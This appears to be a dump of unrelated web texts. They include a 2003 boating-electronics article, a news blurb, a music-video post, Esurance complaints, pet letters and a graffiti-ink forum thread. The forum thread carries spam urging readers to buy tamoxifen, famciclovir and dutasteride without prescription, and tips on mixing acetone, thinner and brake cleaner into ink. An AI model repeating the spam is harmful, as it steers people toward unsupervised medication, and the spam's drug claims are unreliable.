~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > _______________________________________________ > Air-l mailing list > Air-l at aoir.org > http://www.aoir.org/mailman/listinfo/air-l > _______________________________________________ Air-l mailing list Air-l at aoir.org http://www.aoir.org/mailman/listinfo/air-l


text:
— August
By Ben Ellison
Chicken and Eggs
|Part 2: "I just wish all these engine and electronics guys would sit down and talk to each other."
The i6000's high price is due largely to the three sets of actuators needed to run the outboards' mechanical controls. The cost will come down significantly when manufacturers introduce models with built-in electronic controls, especially if they talk in NMEA 2000. And none of the three boatbuilders I spoke with are using either Teleflex's engine-monitoring or navigation electronics yet, partially because an interface box is required (again, until the engines speak 2000), and because Teleflex's grayscale screens don't cut the mustard on these essentially open boats.
In other words, the i6000 control is currently succeeding almost entirely on its unique ability to fly the triples by wire; the NMEA 2000 possibilities at both ends of the system are so far mostly unrealized. Imagine when multiple manufacturers compete with plug-and-play engines, autopilots, plotters, etc.—when, say, sophisticated GPS-aware fuel management just happens without a lot of fuss. These builders, who cater to particularly experienced and hard-driving boaters, are aware of these possibilities and will be first in line to check out new NMEA 2000 gear. And that's how Teleflex's i6000 egg might eventually fill the nest.
Another Teleflex success is happening in Wisconsin at Cruisers Yachts, where several large express models now come standard with Magic Bus packages (see photo on following page). One reason cited by head engineer Bill Funk is the neat way Teleflex "kits" its gear, so installers simply mount already-compatible boxes and run cables, leaving the old-school wire stripping and fiddly interfacing behind—along with the associated unreliability. But mostly Funk expresses lots of faith that NMEA 2000 will succeed. He talks of the day when installing a new 2000 standard-compatable GPS will be like Windows (now that it really works)—it will chirp, "You have new hardware," and that's it. He conjures up the scenario of an engine sending diagnostic data ashore, where a tech says, "Well, sir, your number five injector is fouled, and I see that you're about an hour from Joe's Marina; we'll meet you there and take care of it." Funk is installing Magic Bus systems in Cruisers so his customers can easily tap into the future goodness of NMEA 2000.
In fact all these builders, practical as they must be, are anxious to move into a well-integrated future. "I just wish all these engine and electronics guys would sit down and talk to each other," says Intrepid vice president Mark Beaver. "An open system architecture is an absolute must," echoes Funk.
Actually there is another way, and it's being executed by the big kahuna, Brunswick Industries, owner of numerous boatbuilders, Mercury Marine, and now Northstar Electronics. Brunswick has expressed strong interest in providing the electronic ease discussed here, but early products like Mercury Smart Craft and Sea Ray Navigator suggest that the company may do it all on its own. That'll work, too, if customers get what they want. Besides, NMEA 2000 bridge devices are possible add-ons to both of those systems. Moreover Brunswick's initiatives may encourage other companies to gather around NMEA 2000 for competitive strength.
NMEA itself is certainly feeling good about its standard, reporting brisk sales of manuals and lively recent gatherings of interested companies. And the work of elevating 2000 from national to international status is also going well. Perhaps most important, certain little birdies are telling me that a number of important new NMEA 2000 products will hatch at the fall boat shows. Then perhaps the pioneering efforts of Teleflex and its early adopters will really pay off.
This article originally appeared in the July 2003 issue of Power & Motoryacht magazine.


text:
(NEWSER) – A New Jersey woman has been charged with second-degree manslaughter and first-degree assault after administering a fatal silicone injection. Tamira Mobley, 28, who says she is a beautician, injected silicone into the buttocks of college student Tamara Blaine, 22, in a pay-by-the-hour New York hotel room. The July procedure was the fourth in a year, the New York Times reports. This time, the silicone entered Blaine's bloodstream, an autopsy found, resulting in embolisms and asphyxiation. She had a seizure and died in the hospital.
Read the full story on Newser.com


text:
WATCH: Avicii releases video for 'You Make Me'
Listen to Avicii on iHeartRadio
Avicii has shared the music video for his second single off his new album True, for "You Make Me."
The video features a showdown at the roller rink when "Henry the Highroller" falls for "Mercedes the Watiress," and is challanged to a duel in the rink by Meredes' jealous ex-boyfriend "Chang."
Who will win her heart? Watch the video to find out:


text:
SAN FRANCISCO, CALIFORNIA -- Well, I have been a customer of Esurance for almost 9 years without a single accident, moving violation, or anything. This last time my insurance was up for payment I forgot to switch my auto billing card which had expired. Well, no big deal, I just paid with Paypal... or so I thought! I printed off my cards and thought I had insurance until I logged into my account 2 months later. Guess what? The payment failed because of a $.44 discrepancy in a Paypal account. So, I called up Paypal and they said they paid Esurance.
I called Esurance and they said they never got paid. All I know is I paid over $220 for my policy which was gone from Paypal and NO INSURANCE with Esurance. After 9 years of service (I did switch the type of policy about 6 months ago). Esurance wanted ME to pay for another policy! Can you believe that! I said no way, called Progressive and now I'm insured. BUT I HAD NO INSURANCE without any notice from Esurance even though my cards were printable and the money was gone! Now, after spending hours on the phone sorting this stupid thing out I get this message:
Policy Number: **. You have an outstanding balance of $218.90. Even though your policy is no longer active, this balance is still due for the time you had coverage. We will attempt to charge the PayPal account you have on file with us again on 09/06/2010 for this amount. To review, save, or print your invoice:
Log into your account using your email address and password. If you've forgotten your password, we can email it to you. Click the "ID Cards & Policy Docs" tab. If you don't already have a copy, you'll need to download Adobe Reader, available free. If you have any questions, please call our customer service center at. 1-800-ESURANCE (1-800-378-7262). We're here for you 24 hours a day, 7 days a week. So if you want this kind of Customer Service go with Esurance. NO INSURANCE, NO SERVICE, and A WASTE OF TIME AND ENERGY!
Esurance is a major rip off. My husband's car was stolen from our apartments, (a gated community) Esurance did nothing. Nothing at all. They refused to pay a single dime. They treated him as though he had stolen his own car! They should be shut down for fraud! I will be dropping Esurance asap.
98003, WASHINGTON -- I got an email alert that my account will be charged around $100 because of change in credit score. My credit score was around 680 last year and went UP to 700 this year in all three. No response from them. And it cannot be changed! They are nice when buy. And afterwards, You are always in the receiving end. Unreasonable changes.
SIOUX FALLS, SOUTH DAKOTA -- Senior Esurance employees scan the internet for negative comments about "their" company. These as usually full-blown zealots that will tell the public anything to protect Esurance. I know this because I used to sit by three different zealots in the 2 years I was there. Allow me to run the scam outline by you again and explain. You take out an Esurance policy. You're required to present proof of prior insurance to Esurance - so you send it. But alas... your proof of prior insurance doesn't get processed.
So the company computer rerates you for a higher amount (the amount assessed for someone who has no history of prior insurance). And then the computer takes out a huge amount from your account to make up the difference for the rerate. You find out from your bank or cc company that a huge amount was taken from your account, and you hit the ceiling. You then call in very mad.
Is this illegal? No... but just barely. Because if you're aware that the money was taken out of your account, and you're willing to call in - Esurance might take care of the problem. Keep in mind that a significant percentage of people won't notice or call in, or want to fight it, so Esurance keeps the extra money after the rerate (which is a lot - taken times the total number of customers that don't call). So even if you should make the call to customer service. They tell you that the Processing Dept. checks Proof of Prior Insurance emails and letters in the order they're received, and they'll notify you when the correction is made.
During the same time YOUR background can be further investigated to see if you have any speeding tickets, accidents, etc. That could lead to a justified increase (so they can keep part the money taken from your account the second time). These games go on and on. All legal - but not the way I would want to treat people.
Then there's the issue of fees. The fees are outrageous, and the system programmers have found cleaver ways of making the fees, and other, less obvious to find for people that aren't very observant. Want to hear more stories? Let me cut to the chase. Don't give Esurance your card number. Go elsewhere. Because if you don't. I'll be here to say - I told you.
DALLAS, TEXAS -- An Esurance customer collided into my vehicle about a month ago. I was very disappointed in Esurance's lack of quality in regards to car rental processes. Although I didn't expect to get a vehicle that would replace mine in value, I would have expected to get something that would pay for a vehicle that didn't remind me of the 1970's, pre-automatic anything.
Aside from that, I was angry that I would have to sign contracts (which they said was no responsibility of theirs) with the rental company and pay for my own deposit. After communicating my disgust about the poor process, I was told that in the State of Texas, they weren't even required to provide a car. If they so decided, they could give me BUS MONEY and be protected. So for all who are looking for a reputable auto insurance, Esurance is not someone to be proud of.
My Esurance premium went up almost $200 after the first 6 months with no claims or tickets. Esurance's explanation was it was because they had a "rate review" and increased their rates. Only they refused to send any documentation of their review. Don't get sucked in by the initial low rate promise. Even if you have a clean driving record your rate will go up. Esurance is an E-rip-off!
SIOUX FALLS, SOUTH DAKOTA -- Once you give them your card number, there's a good chance their system will take out more money than you were quoted. Or they'll re-rate you for a higher amount. In any event, many people learn the hard way. Go with another company.
DAYTON, OHIO -- I received a nice low quote, purchased a 6 month policy (paid in full). And in 10 days received an email of a $239.00 increase in which was told It will be auto deducted from the card on file. They said some info on the application was a little different than my prior insurance??? I asked to explain, and was told they were not sure? Huh? They play dirty pool (so to speak).


text:
0 Members and 2 Guests are viewing this topic.
Dear Matilda,We thought we were over the problem of you caching food, until Daddy noticed the smell. After all, you have a fresh food, dry food, and you are not, despite your protests, starving.The bedside table is less than three inches off the floor. How did you get your food bowl under there? And how on earth did you manage to curl up behind it? That said, the part where he edged it out and you promptly hooked a paw over the rim and started pulling it back really was adorably cute.Regards,Your staff.
Dear Mikey,Clinging to my leg with desperate paws until I give you treats is not good. Yes, I laughed, but it is seriously embarrassing for both of us. Please cut it out.And BTW, don't get any ideas about feline octopi from Princess. The tentacle paws are bad enough. Screaming and shedding is only going to make me rethink giving you treats at all.Your loving mama.
Page created in 0.168 seconds with 18 queries.


text:
Just got some free wood stain. Blue and red. they're both water based. anyone have any experience with this stuff?
Just got some free wood stain. Blue and red. they're both water based. anyone have any experience with this stuff?
anyone ever used hydrogen peroxide mixed with paint?
it's all i had, so i tried it out and it worked alright.
obvious mental insanity zone
one must insure zen
Anybody tried blockbyblock ink?
Saul, i would try making them a concentrate, either by evaporation or heating, but heating could be dangerous. But after you get them reduced mix some with paint thinner and see how it works, if it mixes well add it to other inks. If not try a diff chemical.
Omiz, that sounds like an odd combo, im guessing that it was probly an acrylic paint and you could have just used water... I dont think it would have any real positive effects
And i havent tried BlockbyBlock
has anyone had trouble mixing inks with witches brew to get drips? or using witches brew in markers?
i have purple block by block its good
just made this used pens cut up in a bottle with acetone and paint thinner and brake cleaner fluid watever shit, put it in my homeade mop works good
fat splats when u hit it hard^
buy nolvadex no prescription is a non-steroid anti-estrogen which competitively inhibits estrogen receptors in the target organs and tumors in them. Mechanism of its action is not completely investigated though it is known that a complex of Nolvadex with the receptor and cofactor appears and than it is transferred to the cell nucleus preventing hypertrophy of the cells which depend on regulation by estrogen. The effect of the medication can last several weeks after a single dose. Nolvadex is able to cause ovulation in women, stimulation production of gonadotropic hormones of hypophysis. In men with oligospermia it increases concentration of luteinizing hormone and follicle-stimulating hormone, testosterone and estrogen in the blood serum.
buy nolvadex is used to treat breast cancer in women and in men (especially after castration) and also when it has spread to other parts of the body, kidney cancer, melanomas and sarcomas of the soft tissues with estrogen receptors, cancer of the ovary.
famciclovir 500 mg is an anti-viral medication which after transformation in human organism turns into penciclovir which is active against such viruses as Herpes simplex (types I and II), Varicella zoster, and the Epstein-Barr virus (EBV). Penciclovir penetrates into the cells infected by virus where being subjected to treatment by viral ferments it turns into penciclovir-triphosphate which inhibits replication of viral DNA. The medication has not effect on the non-infected cells. buy famvir online is active against certain strains of Herpes simplex with changed DNA polymerase which are resistant to Acyclovir (Zovirax).
anyone know if you can buy bottles of the ink in the otr cold sweat markers. the one with the bitumen. and for homemades i use nitroceluos paint thinners. really strong shit, unreal for making ink
buy dutasteride is used to treat Benign prostatic hyperplasia (BPH) also known as benign enlargement of the prostate (BEP).
avodart generic This medicine helps to control your symptoms, diminish urinary retention and reduced your risk of needing the surgery.
sweet cheers dude
Anyone gettin grogs "street Killer Ink". looks pretty dope
I need to know if you can mix japan drier with alcohol ink...? Does it have an effect on the permanence of the ink or jus does its job and boosts drying time?
BEDAROCINK.WEEBLY.COM or find me on FACEBOOK under the name "TED BEDAROC"... anyone in nor cal get at me for any and all graff supplies...